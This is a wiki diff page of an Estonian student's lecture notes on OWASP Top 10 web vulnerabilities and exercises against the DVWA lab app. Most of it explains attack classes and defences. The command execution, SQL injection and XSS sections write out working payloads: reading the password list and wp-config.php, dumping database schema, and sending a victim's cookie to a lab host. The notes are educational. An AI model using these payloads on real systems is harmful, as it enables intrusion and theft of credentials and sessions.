DWVA & OWASP: Difference between revisions

From ICO wiki
Jump to navigationJump to search
No edit summary
No edit summary
 
(5 intermediate revisions by the same user not shown)
Line 1: Line 1:
NB! Tegemist on tudengi konspektiga, mis on loengutes/praktikumides räägitu põhjal tunnis kirjutatud. Loodetavasti on teistel tudengitel sellest õppimisel abi :)
<b>NB! Tegemist on tudengi konspektiga, mis on loengutes/praktikumides räägitu põhjal tunnis kirjutatud. Loodetavasti on teistel tudengitel sellest õppimisel abi :)</b>


*injection - sql, os v ldap vead.. nt kui kuskil saab midagi sisestada (kasutajanimi vms), siis sinna sisestatakse ebasobivat infot, nt käske vms, mis võivad rakenduse katki teha v lasta ligi pääseda ja selle kaudu võidakse saada mingit olulist infot, mida tegelt ei tohiks välja lekkida - sql tulemüür aitab selle vastu (ta ei anna täielikku kaitset, aga ta püüab pahalased siiski kinni ja saab teha automaatset IP blokeerimist)
*injection - SQL, OS või LDAP vead. N: kui veebilk-l on väli, kuhu kasutaja saab midagi sisestada (kasutajanimi, parool jne), siis välja sisestatakse ebasobivat infot, nt käske vms, mis võivad rakenduse katki teha v lasta ligi pääseda ja seeläbi võidakse saada olulist infot, mida tegelikult ei tohiks välja lekkida. Selle vastu aitab SQL tulemüür. See ei anna täielikku kaitset, kuid püüab pahalased siiski kinni ja saab teha automaatset IP blokeerimist.
*katkised autentimised ja sessiooni manageerimine - tihtipeale halvasti teostatud ja seetõttu on ründajatel võimalik ohustada paroole, võtmeid ja kasutada nö teiste kasutajate identiteeti
*katkised autentimised ja sessiooni manageerimine - Tihtipeale halvasti teostatud ja seetõttu on ründajatel võimalik ohustada paroole, võtmeid ja kasutada nö teiste kasutajate identiteeti.
*XSS (cross-site-scripting) - XSS vead tekivad kui rakendus saab ebausaldusväärse info ja saadab selle brauserila ilma korraliku valideerimiseta. XSS võimaldab ründajatel käivitada skripte ohvri brauseris, mis võivad jälgida kasutaja tegevust, moonutada veebilk v kasutajat pahatahtlikele lk ümber suunata - http tulemüür kaitseb selle vastu
*XSS (cross-site-scripting) - XSS vead tekivad kui rakendus saab ebausaldusväärse info ja saadab selle brauserile ilma korraliku valideerimiseta. XSS võimaldab ründajatel käivitada skripte ohvri brauseris, mis võivad jälgida kasutaja tegevust, moonutada veebilk v kasutajat pahatahtlikele lk ümber suunata. Selle vastu kaitseb HTTP tulemüür.
*insecure direct object references - tekib siis kui arendaja paljastab viite mõnele siseobjektile, failile, kaustale, andmebaasi võtmele vms. ilma turvata on ründajal võimalik ligi pääseda infole, millele tal puudub volitus
*insecure direct object references - Tekib kui arendaja paljastab viite mõnele siseobjektile, failile, kaustale, andmebaasi võtmele vms. Ilma turvata on ründajal võimalik ligi pääseda infole, millele tal puudub volitus.
*security misconfiguration - tugev turva st. turvatud rakenduse konfiguratsioon, mis on defineeritud ja arendatud, raamistik, rakenduse server, veebiserver, andmebaasiserver ja platvorm. kõik need sätted peavad olema defineeritud, rakendatud, hooldatud, kuna paljudel teenustel puuduvad vaikimisi turva sätted. kogu tarkvara peab olema uuendatud
*security misconfiguration - Tugev turva st. turvatud rakenduse konfiguratsioon, mis on defineeritud ja arendatud, raamistik, rakenduse server, veebiserver, andmebaasiserver ja platvorm. Kõik need sätted peavad olema defineeritud, rakendatud, hooldatud, kuna paljudel teenustel puuduvad vaikimisi turvasätted. Kogu tarkvara peab olema uuendatud (up-to-date).
*sensitive data exposure (tundliku info paljastus) - paljud veebirakendused ei kaitse tundlikud infot (krediitkaardid, autentimisinfo jms) korralikult. ründajad võivad varastada v muuta nii nõrgalt kaitstud informatsiooni ja sooritada vastavaid kuritegusid. tundlik info peab olema krüpteeritud vabalt v sihilikult, kasutusel peavad olema erilised ettevaatusabinõud kui vahetatakse brauserit
*sensitive data exposure (tundliku info paljastus) - Paljud veebirakendused ei kaitse tundlikku infot (krediitkaardid, autentimisinfo jms) korralikult. Ründajad võivad varastada v muuta nii nõrgalt kaitstud informatsiooni ja sooritada vastavaid kuritegusid. Tundlik info peab olema krüpteeritud vabalt v sihilikult, kasutusel peavad olema erilised ettevaatusabinõud kui vahetatakse brauserit.
*missing function level access control - virtuaalselt kõik veebirakendused kontrollivad üle funktsioonide õigused enne kui nad teevad need nähtavaks UI-s.. rakendused peavad samu kontrollimisi tegema ka serveris, kui vastavale funktsioonile soovitakse ligipääsu. kui päringud ei ole kinnitatud (üle kontrollitud), siis on ründajal võimalik ligipääseda rakenduse funktsioonidele, millele tal ei tohiks tegelikult ligipääsu olla
*missing function level access control - Virtuaalselt kõik veebirakendused kontrollivad üle funktsioonide õigused enne kui nad teevad need nähtavaks UI-s. Rakendused peavad sama kontrolli tegema ka serveris, kui vastavale funktsioonile soovitakse ligipääsu. Kui päringud ei ole kinnitatud (üle kontrollitud), siis on ründajal võimalik ligipääseda rakenduse funktsioonidele, millele tal ei tohiks tegelikult ligipääsu olla.
*cross-site request forgery (CSRF) - CSRF sunnib sisselogitud ohvri brauseril saata võltsitud HTTP päring, mis sisaldab ohvri sessioonivõtit ja muud automaatselt kaasa arvatud autentimisinformatsiooni haavatavale veebirakendusele. haavatav veebirakendus saab ohvrilt infot, mis tema arvates on õige, kuid tegelikult ei ole - http tulemüür kaitseb selle vastu
*cross-site request forgery (CSRF) - CSRF sunnib sisselogitud ohvri brauseril saata võltsitud HTTP päring, mis sisaldab ohvri sessioonivõtit ja muud automaatselt kaasa arvatud autentimisinformatsiooni haavatavale veebirakendusele. Haavatav veebirakendus saab ohvrilt infot, mis tema arvates on õige, kuid tegelikult ei ole. Selle vastu kaitseb HTTP tulemüür.
*tuntud haavatavustega komponentide kasutamine - haavatavad komponendid (library, framework jt tarkvara moodulid) töötavad alati eesõigusega. turvaaugu puhul võivad nad põhjustada tõsist andmekadu või serveri ülevõtmist. rakendused, mis kasutavad haavatavaid komponente võivad õõnestada nende kaitset ja võimaldada paljude võimalike rünnete toimumist
*tuntud haavatavustega komponentide kasutamine - Haavatavad komponendid (library, framework jt tarkvara moodulid) töötavad alati eesõigusega. Turvaaugu puhul võivad nad põhjustada tõsist andmekadu või serveri ülevõtmist. Rakendused, mis kasutavad haavatavaid komponente võivad õõnestada nende kaitset ja võimaldada paljude võimalike rünnete toimumist.
*valideerimata ümber suunamised ja edastamised - veebirakendused suunavad ümber ja edastavad tihtipeale kasutajaid teistele veebilehekülgedele ja kasutavad ebausaldusväärset infot sihtlehekülgede määramiseks. ilma korraliku valideerimiseta saavad ründajad ümber suunata ohvreid isiklikku infot välja petvatele lk-dele, v kasutada edastamist selleks, et saada ligipääs volitamata lk-dele
*valideerimata ümber suunamised ja edastamised - Veebirakendused suunavad ümber ja edastavad tihtipeale kasutajaid teistele veebilehekülgedele ja kasutavad ebausaldusväärset infot sihtlehekülgede määramiseks. ilma korraliku valideerimiseta saavad ründajad ümber suunata ohvreid isiklikku infot välja petvatele lk-dele, v kasutada edastamist selleks, et saada ligipääs volitamata lk-dele.
*ddos - selle vastu aitab varnish
*DDOS'i vastu aitab Varnish.


nginx(ssl) - varnish - http tulemüür - rakendus - sql tulemüür - sql baas
nginx(ssl) - varnish - http tulemüür - rakendus - sql tulemüür - sql baas


*brute force - nt 1 kasutaja paneb endale nõrga parooli ja ikkagi saadakse süsteemi sisse (isegi kui süsteem on korralikult turvatud) - admin peab seadma nõuded parooli (pikkus, keerukus (tähed, nr, suured väiksed tähed, erimärgid), parooli vahetamise sagedus võiks olla määratud, paroolid peavad igal pool erinevad olema, samu paroole ei tohi kasutada erinevates kohtades; admin peab monitoorima (näeb, mis toimub ja saab seeläbi IP-sid blokkida ja viivitada); admin peab veenduma, et parool ja kasutajanimi ei oleks URL-i real näha (veebirakendus ei tohi kasutada GET'i, peab kasutama POST'i); kui https'i ei ole, siis ei tohiks sinna sisse üldse logida (wireshark'iga saab kõike lugeda ja kõik on näha); kõikide oluliste tegevuste juures tuleb uuesti autentida (küsida parooli, PIN-koodi jne)
*brute force - N: 1 kasutaja paneb endale nõrga parooli ja seeläbi saadakse süsteemi sisse (isegi kui süsteem on korralikult turvatud). Seega admin peab seadma nõuded paroolile (pikkus, keerukus (tähed, nr, suured väiksed tähed, erimärgid), parooli vahetamise sagedus võiks olla määratud, paroolid peavad igal pool erinevad olema, samu paroole ei tohi kasutada erinevates rakendustes. Admin peab monitoorima (näeb, mis toimub ja saab seeläbi IP-sid blokkida ja viivitada). Admin peab veenduma, et parool ja kasutajanimi ei oleks URL-i real näha (veebirakendus ei tohi kasutada GET'i, peab kasutama POST'i). Kui HTTPS puudub, siis ei tohiks sellele lk-le üldse sisse logida (Wireshark'iga saab kõike lugeda ja kõik on näha). Kõikide oluliste tegevuste juures tuleb uuesti autentida (küsida parooli, PIN-koodi jne). Nagu pangas autenditakse enne igat olulist tegevust (kui tahad maksta, pead uue koodi sisestama).


*command execution - so injection tüüpi rünne, kus kasutatakse ära seda, et veebirakendus ei kontrolli kasutaja poolt sisestatud informatsiooni. kasutaja sisestatud info pannakse käsku ja seega käsu mõte muutub täielikult. on võimalik vaadata conf faile jne
*command execution - See on injection tüüpi rünne, kus kasutatakse ära seda, et veebirakendus ei kontrolli kasutaja poolt sisestatud informatsiooni. Kasutaja sisestatud info pannakse käsku ja seega käsu mõte muutub täielikult. Seeläbi on võimalik vaadata konfiguratsioonifaile jne.
 
Näited:


Kõikide kasutajate nägemiseks:
Kõikide kasutajate nägemiseks:
Line 35: Line 37:
<pre>8.8.8.8 ; ls /var/tmp/</pre>
<pre>8.8.8.8 ; ls /var/tmp/</pre>


*upload - lubatakse üles laadida php-d ja käivitada serveris
*upload - Lubatakse üles laadida PHP'd ja käivitada serveris.


*session id - kui kuhugi sisse logid, siis selle asemel et, ei peaks igal pool uuesti kasutajanime ja parooli kasutama, siis brauser lisab nendele andmetele session id ja hakkab session id kaudu edaspidi autentima (server saadab cookie)
*session id - Kui kuhugi sisse logid, siis selle asemel et, ei peaks igal pool uuesti kasutajanime ja parooli kasutama, siis brauser lisab nendele andmetele session id ja hakkab session id kaudu edaspidi autentima (server saadab cookie).


*cross-site request forgery (CSRF) - saadab lingi ja kui kasutaja klikib sellele, siis pmst ongi süsteemile ligi saadud (saab nt parooli muuta kui kasutaja on samal ajal kuhugi sisse logitud); kuidas kaitsta? ebaturvaline rakendus tuleb internetist täiesti eemaldada, brauser tuleb sandboxida, kasutaja näeb ainult pilti ja muud mitte midagi teha ei saa (ei saa kopida, usb, mitte midagi); kasutatakse veel ka rakenduse tulemüüri
*cross-site request forgery (CSRF) - Saadab lingi ja kui kasutaja klikib sellele, siis pmst ongi süsteemile ligi saadud (saab nt parooli muuta kui kasutaja on samal ajal kuhugi sisse logitud). Kuidas kaitsta? Ebaturvaline rakendus tuleb internetist täiesti eemaldada, brauser tuleb sandbox'ida, kasutaja näeb ainult pilti ja muud mitte midagi teha ei saa (ei saa kopida, usb, mitte midagi). Kaitseks kasutatakse veel ka rakenduse tulemüüri.
kasutaja käib internetis läbi mingi ruuteri. üles pandi paha veebilk ja veebiserver (dns). kui kasutaja läheb mingile lehele, siis ta saab tagasi mingi lk. kuri server lahendab selle lk uueks ip-ks. nii muudetakse ruuteri ip ja parool ja muudetakse nimeservereid. on olemas scriptid, mis muudavad tuntumate ruuterite paroole. NB! ruuteri parooli ei tohi salvestada brauserisse!
Kasutaja käib internetis läbi mingi ruuteri. Üles pandi paha veebilk ja veebiserver (DNS). Kui kasutaja läheb mingile lehele, siis ta saab tagasi mingi lk. Kuri server lahendab selle lk uueks IP'ks. Nii muudetakse ruuteri IP ja parool ja muudetakse nimeservereid. On olemas scriptid, mis muudavad tuntumate ruuterite paroole. NB! Ruuteri parooli ei tohi salvestada brauserisse!


*sql injection - kuhugi sql lausesse topitakse, see mis kasutaja sisestanud on. seda, mida kasutaja sisestas seda enam ei kontrollita. kasutaja lisab ise käsu lõpu/eraldaja '; ja edasi lisab # --, mis tähendab, et kõik, mis tuleb pärast seda (# --) on kommentaar. seega süsteemi oma lisatud käsu eraldaja/lõpp loetakse kommentaariks ja ei leita käsus viga. tegelikult ei tohiks kasutajad näha erroreid (kui on näha sql errorit, siis on suht kindel, et see lk on rünnatav)
*sql injection - Kuhugi sql lausesse topitakse, see mis kasutaja sisestanud on. Seda, mida kasutaja sisestas enam ei kontrollita. Kasutaja lisab ise käsu lõpu/eraldaja '; ja edasi lisab # --, mis tähendab, et kõik, mis tuleb pärast seda (# --) on kommentaar. Seega süsteemi oma lisatud käsu eraldaja/lõpp loetakse kommentaariks ja ei leita käsus viga. Tegelikult ei tohiks kasutajale näidata error'eid (kui on näha sql errorit, siis on suht kindel, et see lk on rünnatav).


Näited:
Näited:
Line 55: Line 57:
<pre>2 select table_name from information_schema.tables; # -- </pre>
<pre>2 select table_name from information_schema.tables; # -- </pre>


*XSS - javascripti süstimine veebilehele (käivitatakse kliendi poolt) leitakse viis, kuidas kliendile kuvada javascripti, mida häkker on tekitanud ja kuidas see tööle panna
*XSS - Javascript'i "süstimine" veebilehele (käivitatakse kliendi poolt. Leitakse viis, kuidas kliendile kuvada Javascript'i, mida häkker on tekitanud ja kuidas see tööle panna.
link, mis sisaldab javascripti ja see pannakse käima
Link, mis sisaldab javascripti ja see pannakse käima.
kui veebileht tagastab kõik, mida kasutaja saadab, siis on see rünne teostatav
Kui veebileht tagastab kõik, mida kasutaja saadab, siis on see rünne teostatav.


Näited:
Näited:

Latest revision as of 15:26, 31 May 2013

NB! Tegemist on tudengi konspektiga, mis on loengutes/praktikumides räägitu põhjal tunnis kirjutatud. Loodetavasti on teistel tudengitel sellest õppimisel abi :)

  • injection - SQL, OS või LDAP vead. N: kui veebilk-l on väli, kuhu kasutaja saab midagi sisestada (kasutajanimi, parool jne), siis välja sisestatakse ebasobivat infot, nt käske vms, mis võivad rakenduse katki teha v lasta ligi pääseda ja seeläbi võidakse saada olulist infot, mida tegelikult ei tohiks välja lekkida. Selle vastu aitab SQL tulemüür. See ei anna täielikku kaitset, kuid püüab pahalased siiski kinni ja saab teha automaatset IP blokeerimist.
  • katkised autentimised ja sessiooni manageerimine - Tihtipeale halvasti teostatud ja seetõttu on ründajatel võimalik ohustada paroole, võtmeid ja kasutada nö teiste kasutajate identiteeti.
  • XSS (cross-site-scripting) - XSS vead tekivad kui rakendus saab ebausaldusväärse info ja saadab selle brauserile ilma korraliku valideerimiseta. XSS võimaldab ründajatel käivitada skripte ohvri brauseris, mis võivad jälgida kasutaja tegevust, moonutada veebilk v kasutajat pahatahtlikele lk ümber suunata. Selle vastu kaitseb HTTP tulemüür.
  • insecure direct object references - Tekib kui arendaja paljastab viite mõnele siseobjektile, failile, kaustale, andmebaasi võtmele vms. Ilma turvata on ründajal võimalik ligi pääseda infole, millele tal puudub volitus.
  • security misconfiguration - Tugev turva st. turvatud rakenduse konfiguratsioon, mis on defineeritud ja arendatud, raamistik, rakenduse server, veebiserver, andmebaasiserver ja platvorm. Kõik need sätted peavad olema defineeritud, rakendatud, hooldatud, kuna paljudel teenustel puuduvad vaikimisi turvasätted. Kogu tarkvara peab olema uuendatud (up-to-date).
  • sensitive data exposure (tundliku info paljastus) - Paljud veebirakendused ei kaitse tundlikku infot (krediitkaardid, autentimisinfo jms) korralikult. Ründajad võivad varastada v muuta nii nõrgalt kaitstud informatsiooni ja sooritada vastavaid kuritegusid. Tundlik info peab olema krüpteeritud vabalt v sihilikult, kasutusel peavad olema erilised ettevaatusabinõud kui vahetatakse brauserit.
  • missing function level access control - Virtuaalselt kõik veebirakendused kontrollivad üle funktsioonide õigused enne kui nad teevad need nähtavaks UI-s. Rakendused peavad sama kontrolli tegema ka serveris, kui vastavale funktsioonile soovitakse ligipääsu. Kui päringud ei ole kinnitatud (üle kontrollitud), siis on ründajal võimalik ligipääseda rakenduse funktsioonidele, millele tal ei tohiks tegelikult ligipääsu olla.
  • cross-site request forgery (CSRF) - CSRF sunnib sisselogitud ohvri brauseril saata võltsitud HTTP päring, mis sisaldab ohvri sessioonivõtit ja muud automaatselt kaasa arvatud autentimisinformatsiooni haavatavale veebirakendusele. Haavatav veebirakendus saab ohvrilt infot, mis tema arvates on õige, kuid tegelikult ei ole. Selle vastu kaitseb HTTP tulemüür.
  • tuntud haavatavustega komponentide kasutamine - Haavatavad komponendid (library, framework jt tarkvara moodulid) töötavad alati eesõigusega. Turvaaugu puhul võivad nad põhjustada tõsist andmekadu või serveri ülevõtmist. Rakendused, mis kasutavad haavatavaid komponente võivad õõnestada nende kaitset ja võimaldada paljude võimalike rünnete toimumist.
  • valideerimata ümber suunamised ja edastamised - Veebirakendused suunavad ümber ja edastavad tihtipeale kasutajaid teistele veebilehekülgedele ja kasutavad ebausaldusväärset infot sihtlehekülgede määramiseks. ilma korraliku valideerimiseta saavad ründajad ümber suunata ohvreid isiklikku infot välja petvatele lk-dele, v kasutada edastamist selleks, et saada ligipääs volitamata lk-dele.
  • DDOS'i vastu aitab Varnish.

nginx(ssl) - varnish - http tulemüür - rakendus - sql tulemüür - sql baas

  • brute force - N: 1 kasutaja paneb endale nõrga parooli ja seeläbi saadakse süsteemi sisse (isegi kui süsteem on korralikult turvatud). Seega admin peab seadma nõuded paroolile (pikkus, keerukus (tähed, nr, suured väiksed tähed, erimärgid), parooli vahetamise sagedus võiks olla määratud, paroolid peavad igal pool erinevad olema, samu paroole ei tohi kasutada erinevates rakendustes. Admin peab monitoorima (näeb, mis toimub ja saab seeläbi IP-sid blokkida ja viivitada). Admin peab veenduma, et parool ja kasutajanimi ei oleks URL-i real näha (veebirakendus ei tohi kasutada GET'i, peab kasutama POST'i). Kui HTTPS puudub, siis ei tohiks sellele lk-le üldse sisse logida (Wireshark'iga saab kõike lugeda ja kõik on näha). Kõikide oluliste tegevuste juures tuleb uuesti autentida (küsida parooli, PIN-koodi jne). Nagu pangas autenditakse enne igat olulist tegevust (kui tahad maksta, pead uue koodi sisestama).
  • command execution - See on injection tüüpi rünne, kus kasutatakse ära seda, et veebirakendus ei kontrolli kasutaja poolt sisestatud informatsiooni. Kasutaja sisestatud info pannakse käsku ja seega käsu mõte muutub täielikult. Seeläbi on võimalik vaadata konfiguratsioonifaile jne.

Näited:

Kõikide kasutajate nägemiseks:

8.8.8.8 ; getent passwd 

Failide ja kataloogide nägemiseks:

8.8.8.8; ls -l 
8.8.8.8; ls -l ../
8.8.8.8; ls -l ../../
8.8.8.8; sed 's/<//'  ../../../../wordpress/wp-config.php

Faili loomiseks:

8.8.8.8 ; touch /var/tmp/kala.txt

Kataloogi sisu nägemiseks:

8.8.8.8 ; ls /var/tmp/
  • upload - Lubatakse üles laadida PHP'd ja käivitada serveris.
  • session id - Kui kuhugi sisse logid, siis selle asemel et, ei peaks igal pool uuesti kasutajanime ja parooli kasutama, siis brauser lisab nendele andmetele session id ja hakkab session id kaudu edaspidi autentima (server saadab cookie).
  • cross-site request forgery (CSRF) - Saadab lingi ja kui kasutaja klikib sellele, siis pmst ongi süsteemile ligi saadud (saab nt parooli muuta kui kasutaja on samal ajal kuhugi sisse logitud). Kuidas kaitsta? Ebaturvaline rakendus tuleb internetist täiesti eemaldada, brauser tuleb sandbox'ida, kasutaja näeb ainult pilti ja muud mitte midagi teha ei saa (ei saa kopida, usb, mitte midagi). Kaitseks kasutatakse veel ka rakenduse tulemüüri.

Kasutaja käib internetis läbi mingi ruuteri. Üles pandi paha veebilk ja veebiserver (DNS). Kui kasutaja läheb mingile lehele, siis ta saab tagasi mingi lk. Kuri server lahendab selle lk uueks IP'ks. Nii muudetakse ruuteri IP ja parool ja muudetakse nimeservereid. On olemas scriptid, mis muudavad tuntumate ruuterite paroole. NB! Ruuteri parooli ei tohi salvestada brauserisse!

  • sql injection - Kuhugi sql lausesse topitakse, see mis kasutaja sisestanud on. Seda, mida kasutaja sisestas enam ei kontrollita. Kasutaja lisab ise käsu lõpu/eraldaja '; ja edasi lisab # --, mis tähendab, et kõik, mis tuleb pärast seda (# --) on kommentaar. Seega süsteemi oma lisatud käsu eraldaja/lõpp loetakse kommentaariks ja ei leita käsus viga. Tegelikult ei tohiks kasutajale näidata error'eid (kui on näha sql errorit, siis on suht kindel, et see lk on rünnatav).

Näited:

1' union select BENCHMARK(100000000,ENCODE('hello','goodbye')),1; # -- 
2' union select table_schema, table_name from information_schema.tables; # -- 
3' union  select TABLE_NAME,COLUMN_NAME from information_schema.columns; # -- 

Nähakse kasutaja ees ja perekonnanime, mille id on 2:

2 select table_name from information_schema.tables; # -- 
  • XSS - Javascript'i "süstimine" veebilehele (käivitatakse kliendi poolt. Leitakse viis, kuidas kliendile kuvada Javascript'i, mida häkker on tekitanud ja kuidas see tööle panna.

Link, mis sisaldab javascripti ja see pannakse käima. Kui veebileht tagastab kõik, mida kasutaja saadab, siis on see rünne teostatav.

Näited:

<script>alert(XSS on olemas)</script>
<script>var i='<img src="http://192.168.56.101/'+document.cookie+'" />'; document.write(i);</script>